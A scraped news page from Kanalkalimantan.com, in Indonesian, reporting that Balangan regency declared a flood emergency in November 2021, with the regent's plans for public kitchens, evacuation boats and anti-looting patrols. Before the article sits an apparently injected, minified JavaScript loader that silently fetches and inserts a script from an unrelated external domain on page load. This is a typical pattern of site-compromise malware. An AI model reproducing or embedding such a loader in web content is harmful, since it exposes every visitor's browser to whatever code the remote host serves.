(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Banyaknya titik Banjir, Pemkab Balangan menetapkan status tanggap darurat bencana. Sebagaimana diketahui, banjir di Balangan terjadi sejak Minggu (28/11/2021) hingga Senin (29/11/2021).
Penetapan status ini dilakukan dalam Rakor Penanganan Banjir di Aula Benteng Tundakan. Rakor dipimpin langsung oleh Bupati Balangan H Abdul Hadi didampingi oleh Wakil Bupati Balangan H Supiani, Plt Kepala BPBD Balangan H Rahmi, Kapolres Balangan AKBP Zaenal Arifin.
Bupati H Abdul Hadi mengatakan, penetapan status ini sudah memenuhi kriteria yaitu banjir telah mengganggu kehidupan dan penghidupan masyarakat.
“Penetapan status ini rencananya selama 14 hari dan sesudah itu kita melihat kondisi lagi apakah dilanjutkan atau tidak, karena berdasarkan ramalan cuaca dari BMKG musim hujan tertinggi mulai Desember sampai Februari,” ujarnya.
Baca juga : HUT PGRI dan Hari Guru, Plt Bupati HSU: Pandemi Memberi Dampak Besar bagi Para Pendidik
Bupati juga menginstruksikan agar di tiap kecamatan membangun dapur umum agar nantinya logistik dari pemerintah bisa langsung diterima. Sehingga penyaluran distribusi bantuan berupa nasi bungkus dapat tepat dan fokus kepada warga yang terdampak banjir.
Menurutnya, karena keterbatasan personel dan juga perlengkapan dalam penanganan banjir di BPBD dan Dinsos, maka kepada instansi terkait serta agar juga ikut berperan aktif membantu penanganan banjir sesuai dengan bidangnya.
“Terkait peralatan memang terbatas, untuk itu tadi ada usulan untuk memaksimalkan keberadaan lanting untuk membantu warga yang menyeberang dan evakuasi,” katanya.
Baca juga : Banjir di Hulu Sungai, 19.171 Pelanggan PLN Sempat Tanpa Listrik
Adapun opsi dari peserta rapat untuk melakukan patroli dan pengamanan akan ditindaklanjuti oleh polres dan instansi terkait untuk membentuk tim gabungan agar dapat menghindari penjarahan saat dilanda bencana.
Terakhir, Abdul Hadi mengimbau kepada masyarakat untuk menjaga keselamatan diri. “Mudahan banjir saat ini cepat surut,” pungkasnya.(Kanalkalimantan.com/alfi)
Reporter : alfi
Editor : cell
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.